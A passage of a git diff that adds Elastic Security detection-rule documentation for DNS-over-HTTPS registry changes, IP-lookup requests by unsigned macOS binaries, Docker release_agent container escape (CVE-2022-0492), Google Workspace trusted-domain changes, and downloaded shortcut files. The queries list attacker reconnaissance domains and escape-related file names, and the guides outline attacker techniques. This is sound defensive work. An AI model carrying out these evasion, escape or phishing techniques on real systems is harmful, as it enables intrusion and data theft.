XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS-over-HTTPS Enabled via Registry* + + +DNS-over-HTTPS (DoH) encrypts DNS queries to enhance privacy and security, preventing eavesdropping and manipulation. However, adversaries can exploit DoH to conceal malicious activities, such as data exfiltration, by bypassing traditional DNS monitoring. The detection rule identifies registry changes enabling DoH in browsers like Edge, Chrome, and Firefox, signaling potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the registry path and data values from the alert to determine which browser and setting were modified. Check if the change aligns with known user activity or policy. +- Investigate the user account associated with the registry change to assess if the activity is expected or if the account has a history of suspicious behavior. +- Examine recent network traffic from the host to identify any unusual or unauthorized DNS queries that could indicate data exfiltration or other malicious activities. +- Check for any other recent registry changes or system modifications on the host that might suggest further attempts at defense evasion or persistence. +- Correlate the alert with other security events or logs from the same host or user to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Legitimate software updates or installations may enable DNS-over-HTTPS settings in browsers. Monitor software update schedules and correlate registry changes with known update events to identify benign changes. +- Organizational policies might require DNS-over-HTTPS for privacy compliance. Document these policies and create exceptions in the detection rule for systems where this is a known requirement. +- User-initiated privacy settings changes can trigger the rule. Educate users on the implications of enabling DNS-over-HTTPS and establish a process for them to report intentional changes, allowing for exclusion of these events. +- Security tools or privacy-focused applications may enable DNS-over-HTTPS as part of their functionality. Identify these tools within the organization and adjust the detection rule to exclude registry changes associated with their operation. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential data exfiltration or further malicious activity. +- Review and revert any unauthorized registry changes related to DNS-over-HTTPS settings in Edge, Chrome, and Firefox to restore standard DNS monitoring capabilities. +- Conduct a thorough scan of the affected system using updated antivirus and endpoint detection tools to identify and remove any malicious software or scripts. +- Analyze network traffic logs to identify any unusual or unauthorized DNS queries or data transfers that may have occurred during the period of DoH activation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring for registry changes related to DNS settings across the organization to detect similar threats in the future. +- Review and update security policies to ensure that DNS-over-HTTPS is only enabled through approved channels and for legitimate purposes, reducing the risk of misuse. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + (registry.path : "*\\SOFTWARE\\Policies\\Microsoft\\Edge\\BuiltInDnsClientEnabled" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "*\\SOFTWARE\\Google\\Chrome\\DnsOverHttpsMode" and + registry.data.strings : "secure") or + (registry.path : "*\\SOFTWARE\\Policies\\Mozilla\\Firefox\\DNSOverHTTPS" and + registry.data.strings : ("1", "0x00000001")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-request-for-ip-lookup-service-via-unsigned-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-request-for-ip-lookup-service-via-unsigned-binary.asciidoc new file mode 100644 index 0000000000..4e0ff0f6f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-request-for-ip-lookup-service-via-unsigned-binary.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-dns-request-for-ip-lookup-service-via-unsigned-binary]] +=== DNS Request for IP Lookup Service via Unsigned Binary + +Detects when a DNS request is made for an IP lookup service to determine the external IP address of the system via an unsigned or untrusted binary. This is commonly used by malware for reconnaissance before establishing C2 connections. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS Request for IP Lookup Service via Unsigned Binary* + + +This detects an unsigned or untrusted process on macOS performing DNS lookups for common “what is my public IP” and geolocation services, a frequent reconnaissance step before external communications. It matters because malware uses the host’s external IP and region to choose C2 infrastructure, gate payload delivery, or evade sandboxing. A typical pattern is a dropped, unsigned Mach-O or script resolving api.ipify.org or ipinfo.io immediately after execution, then initiating outbound beacons. + + +*Possible investigation steps* + + +- Identify the initiating process and parent chain, then validate whether the binary is expected for the host/user and whether it is actually unsigned versus a transient signature collection issue. +- Review the same process’s near-term network activity for follow-on HTTP(S) requests to the resolved service and any subsequent connections to rare/new domains or IPs that could indicate C2 staging. +- Pivot from the resolved domain to other endpoints to determine prevalence and timing, then prioritize isolated single-host hits with recent first-seen binaries. +- Examine how the binary was introduced by correlating with recent downloads, archive mounts, installer executions, or quarantine/Gatekeeper events around the process start time. +- Acquire and analyze the binary (hash reputation, static strings, entitlements, persistence mechanisms, and launch agents/daemons) to confirm intent and scope of compromise. + + +*False positive analysis* + + +- A developer-built or locally compiled macOS utility/script (run from a user directory) performs a “what is my public IP” DNS lookup for telemetry, diagnostics, or environment detection, and is flagged because it lacks a trusted code signature. +- An unsigned helper binary dropped by a legitimate installer/updater workflow briefly runs during setup to validate external connectivity or geolocation by resolving an IP-lookup domain, and is detected before the binary is signed or placed in its final trusted location. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network if the unsigned process continues to resolve IP-lookup domains (e.g., api.ipify.org, ipinfo.io) or initiates new outbound connections immediately after the lookup. +- Quarantine the unsigned executable and any associated scripts from disk (preserving path, hashes, and a copy for analysis) and remove its persistence artifacts such as newly created LaunchAgents/LaunchDaemons, login items, or cron entries tied to the same binary. +- Block the observed IP-lookup domains used by the unsigned process at DNS/web egress and add temporary deny rules for any follow-on suspicious destinations the process contacted after resolution. +- Reset compromised credentials and invalidate active sessions for the logged-in user if the process originated from user-writable locations (Downloads, Desktop, /tmp) or if additional discovery/collection behavior is found on the host. +- Reimage or restore the endpoint from a known-good state when persistence or tampering is confirmed, then verify Gatekeeper/XProtect status, re-enable security tooling, and monitor for recurrence of the same binary hash or domain pattern. +- Escalate to the incident response team if the unsigned binary is newly seen in the environment, appears on multiple hosts, or is followed by connections to rare domains/IPs indicative of staging or command-and-control. + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "macos" and event.action == "lookup_result" and + (process.code_signature.trusted == false or process.code_signature.exists == false) and + dns.question.name like~ ("*ip-api.com*", "*ipwho.is*", "*checkip.dyndns.org*", "*api.ipify.org*", + "*api.npoint.io*", "*whatismyip.akamai.com*", "*bot.whatismyipaddress.com*", + "*ifcfg.me*", "*ifconfig.me*", "*ident.me*", "*ipof.in*", "*ip.tyk.nu*", + "*ipwhois.app*", "*freeipapi.com*", "*icanhazip.com*", "*curlmyip.com*", + "*wgetip.com*", "*eth0.me*", "*ipecho.net*", "*ip.appspot.com*", + "*api.myip.com*", "*geoiptool.com*", "*api.2ip.ua*", "*api.ip.sb*", + "*ipinfo.io*", "*checkip.amazonaws.com*", "*wtfismyip.com*", "*iplogger.*", + "*freegeoip.net*", "*freegeoip.app*", "*myip.ipip.net*", "*geoplugin.net*", + "*myip.dnsomatic.com*", "*www.geoplugin.net*", "*api64.ipify.org*", + "*ip4.seeip.org*", "*.geojs.io*", "*portmap.io*", "*api.db-ip.com*", + "*geolocation-db.com*", "*inet-ip.info*", "*httpbin.org*", "*myip.opendns.com*") and + not process.executable like "/Users/*/Library/Developer/CoreSimulator/*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-docker-release-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-docker-release-file-creation.asciidoc new file mode 100644 index 0000000000..eb111b953a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-docker-release-file-creation.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-docker-release-file-creation]] +=== Docker Release File Creation + +This rule detects the creation of files named release_agent or notify_on_release, which are commonly associated with the abuse of Linux cgroup release mechanisms. In Docker or containerized environments, this behavior may indicate an attempt to exploit privilege escalation vulnerabilities such as CVE-2022-0492, where attackers use the release_agent feature to execute code on the host from within a container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/ + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2022-0492 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Docker Release File Creation* + + +In Linux, cgroups manage resources for processes, and the release_agent file can execute scripts when a cgroup is released. In containerized environments like Docker, adversaries may exploit this to escalate privileges, executing code on the host. The detection rule identifies the creation of files like release_agent, signaling potential misuse of cgroup release mechanisms for privilege escalation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file creation event occurred on a Linux host, as specified by the query field host.os.type == "linux". +- Identify the specific file name created, either release_agent or notify_on_release, to understand the potential method of exploitation. +- Investigate the process that created the file by examining process logs or using process monitoring tools to determine if it was initiated by a legitimate application or a suspicious process. +- Check for any recent container activity on the host, such as new container deployments or changes, to identify potential sources of the file creation. +- Analyze user activity logs to determine if any unauthorized or unusual user actions correlate with the file creation event. +- Look for any additional indicators of compromise or related alerts on the host that might suggest a broader attack or exploitation attempt. +- Assess the system for any signs of privilege escalation or unauthorized access to determine if the release_agent or notify_on_release file creation was part of a successful attack. + + +*False positive analysis* + + +- System administrators or automated scripts may create release_agent or notify_on_release files for legitimate resource management tasks in containerized environments. +- Regularly scheduled maintenance scripts might trigger the rule if they involve creating or modifying cgroup release files as part of their operations. +- Developers testing container features might inadvertently create these files during the development process. +- To handle these false positives, users can create exceptions for known scripts or processes that routinely create these files by whitelisting their specific paths or process names. +- Implement monitoring to differentiate between expected and unexpected file creation events, focusing on unusual patterns or contexts that deviate from normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further exploitation or lateral movement. This can be done by stopping the container or disconnecting it from the network. +- Investigate the container's logs and processes to identify any unauthorized or suspicious activity that may have occurred as a result of the release_agent or notify_on_release file creation. +- Remove any unauthorized files or scripts that were executed as a result of the cgroup release mechanism exploitation. Ensure that the release_agent and notify_on_release files are deleted if they were created maliciously. +- Patch the host system and all containers to address known vulnerabilities such as CVE-2022-0492. Ensure that all security updates are applied to prevent similar exploits. +- Review and tighten the security configurations of Docker and the host system, including setting appropriate cgroup permissions and limiting container capabilities to the minimum necessary. +- Monitor for any further attempts to exploit cgroup release mechanisms by setting up alerts for the creation of release_agent and notify_on_release files. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may have been affected or if there is a broader security incident underway. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.name in ("release_agent", "notify_on_release") and +not process.executable in ("/usr/bin/podman", "/sbin/sos", "/sbin/sosreport", "/usr/bin/git") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-domain-added-to-google-workspace-trusted-domains.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-domain-added-to-google-workspace-trusted-domains.asciidoc new file mode 100644 index 0000000000..039c1ed1a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-domain-added-to-google-workspace-trusted-domains.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-domain-added-to-google-workspace-trusted-domains]] +=== Domain Added to Google Workspace Trusted Domains + +Detects when an administrator adds a domain to the Google Workspace allowlisted (trusted) domains list. Adversaries with administrative access may onboard a domain they control to relax cross-organization sharing restrictions, enabling data collection and exfiltration through Drive, Chat, and other services that honor the tenant trust boundary. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6160020?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Domain Added to Google Workspace Trusted Domains* + + +Google Workspace allowlisted domains define which external organizations users may collaborate with across services such +as Drive, Chat, and Classroom. Adding a domain to this list expands who can receive shared content under the tenant's +trust policies. Threat actors with administrative access may add a domain they operate to bypass out-of-domain sharing +controls and establish a durable path for collection or exfiltration. + +This rule identifies when an administrator adds a domain via the `ADD_TRUSTED_DOMAINS` event in the +`google_workspace.admin` data stream. + + +*Possible investigation steps* + + +- Identify the initiating (actor) administrator by reviewing `user.email` or `user.name`, and note `source.ip` and `event.ingested` if present in the alert. +- Identify the domain added by reviewing `google_workspace.admin.domain.name`. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request or partner onboarding record for the new domain. + - If the actor account or `source.ip` is unusual, treat the alert as higher priority until proven benign. +- Review allowlisted domains in the Google Admin console: + - Navigate to Account > Domains > Allowlisted domains. + - Confirm the domain from `google_workspace.admin.domain.name` appears on the list and whether it is appropriate for your organization's sharing model. +- Assess domain reputation and ownership using external intelligence (for example, VirusTotal or WHOIS) to determine whether the domain is associated with your organization or a known partner. +- Search Kibana for related admin and sharing activity: + - Find other trust or sharing policy changes by the same actor: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ADD_TRUSTED_DOMAINS" or "REMOVE_TRUSTED_DOMAINS") + ``` + - After the add, review Drive events for files shared to users outside your domain: + ``` + data_stream.dataset: "google_workspace.drive" and event.action: ("change_user_access" or "change_document_visibility") + ``` + - Scope for other security-weakening admin actions from the same `user.email` within the last 48 hours. + + +*False positive analysis* + + +- Verify the domain belongs to an approved partner or subsidiary with a documented business need for cross-organization collaboration. +- Adding test or lab domains during migrations is possible — validate timing against change windows. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the add is not clearly authorized, remove the domain from Allowlisted domains while the investigation proceeds. +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review delegated admin roles assigned to that account. +- Review recent Drive and Chat sharing to external users for sensitive data exposure tied to the newly trusted domain. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.action:ADD_TRUSTED_DOMAINS + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-downloaded-shortcut-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-downloaded-shortcut-files.asciidoc new file mode 100644 index 0000000000..0e0a18c50f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-downloaded-shortcut-files.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-downloaded-shortcut-files]] +=== Downloaded Shortcut Files + +Identifies .lnk shortcut file downloaded from outside the local network. These shortcut files are commonly used in phishing campaigns. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: LNK/Shortcut Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Downloaded Shortcut Files* + + +Shortcut files (.lnk) are used in Windows environments to link to executable files or scripts, streamlining user access. Adversaries exploit this by embedding malicious commands in these files, often distributing them via phishing. The detection rule identifies suspicious .lnk files created on Windows systems, especially those downloaded from external sources, indicating potential phishing attempts. This is achieved by monitoring file creation events and zone identifiers, which help trace the file's origin. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the specific .lnk file and its associated metadata, such as the file path and creation timestamp. +- Examine the zone identifier value to confirm that the file was indeed downloaded from an external source, as indicated by a value greater than 1. +- Investigate the source of the download by checking network logs or browser history to identify the URL or IP address from which the .lnk file was downloaded. +- Analyze the contents of the .lnk file to detect any embedded commands or scripts that may indicate malicious intent. +- Check for any related alerts or events on the same host around the time of the .lnk file creation to identify potential follow-up actions or additional threats. +- Assess the user account associated with the file creation event to determine if the account has been compromised or if the user was targeted in a phishing campaign. + + +*False positive analysis* + + +- Corporate software deployments may trigger the rule when legitimate .lnk files are distributed across the network. Users can create exceptions for known software distribution servers to prevent these false positives. +- Automated backup or synchronization tools that create .lnk files as part of their normal operation can be mistaken for threats. Identifying and excluding these tools from the rule can reduce unnecessary alerts. +- User-created shortcuts for frequently accessed network resources might be flagged. Monitoring and excluding specific user activities or directories where these shortcuts are commonly created can help manage these false positives. +- Some legitimate applications may download .lnk files as part of their update process. Identifying these applications and adding them to an exception list can prevent false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat. +- Quarantine the suspicious .lnk file to prevent execution and further analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and remove any unauthorized or suspicious user accounts or privileges that may have been created or altered as a result of the phishing attempt. +- Restore the system from a known good backup if any critical system files or configurations have been compromised. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Update security policies and rules to block similar phishing attempts in the future, such as restricting the execution of .lnk files from untrusted sources. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension == "lnk" and file.Ext.windows.zone_identifier > 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-downloaded-url-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-downloaded-url-files.asciidoc new file mode 100644 index 0000000000..a8459b752b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-downloaded-url-files.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-downloaded-url-files]] +=== Downloaded URL Files + +Identifies .url shortcut files downloaded from outside the local network. These shortcut files are commonly used in phishing campaigns. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: LNK/Shortcut Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Downloaded URL Files* + + +URL shortcut files, typically used for quick access to web resources, can be exploited by attackers in phishing schemes to execute malicious content. These files, when downloaded from non-local sources, may bypass traditional security measures. The detection rule identifies such files by monitoring their creation events on Windows systems, focusing on those not initiated by standard processes like Explorer, and flags them based on their network origin, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the file creation event details to confirm the file extension is ".url" and verify the zone identifier is greater than 1, indicating a non-local source. +- Investigate the process that created the .url file, ensuring it was not initiated by "explorer.exe" and identify the actual process responsible for the creation. +- Check the network origin of the downloaded .url file to determine if it is from a known malicious domain or IP address. +- Analyze the contents of the .url file to identify the target URL and assess its reputation and potential risk. +- Correlate the event with other security alerts or logs from the same host to identify any additional suspicious activities or patterns. +- Contact the user associated with the alert to verify if they intentionally downloaded the file and gather any additional context regarding their actions. + + +*False positive analysis* + + +- Corporate applications that generate .url files for legitimate purposes may trigger alerts. Identify these applications and create exceptions for their processes to prevent unnecessary alerts. +- Automated scripts or system management tools that download .url files as part of routine operations can be mistaken for threats. Review these tools and whitelist their activities if they are verified as safe. +- User-initiated downloads from trusted internal web portals might be flagged. Educate users on safe downloading practices and consider excluding specific trusted domains from monitoring. +- Security software updates or patches that include .url files could be misidentified. Verify the source of these updates and adjust the rule to exclude known safe update processes. +- Collaboration platforms that share .url files for internal use may cause false positives. Evaluate the platform's behavior and exclude its processes if they are deemed secure. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of any potential malicious activity. +- Terminate any suspicious processes that are not initiated by standard processes like Explorer, especially those related to the creation of .url files. +- Delete the identified .url files from the system to remove the immediate threat. +- Conduct a full antivirus and anti-malware scan on the affected system to identify and remove any additional threats. +- Review and analyze the network logs to identify any other systems that may have downloaded similar .url files and apply the same containment measures. +- Escalate the incident to the security operations team for further investigation and to determine if there is a broader campaign targeting the organization. +- Update security policies and endpoint protection configurations to block the download and execution of .url files from untrusted sources in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension == "url" + and file.Ext.windows.zone_identifier == 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment 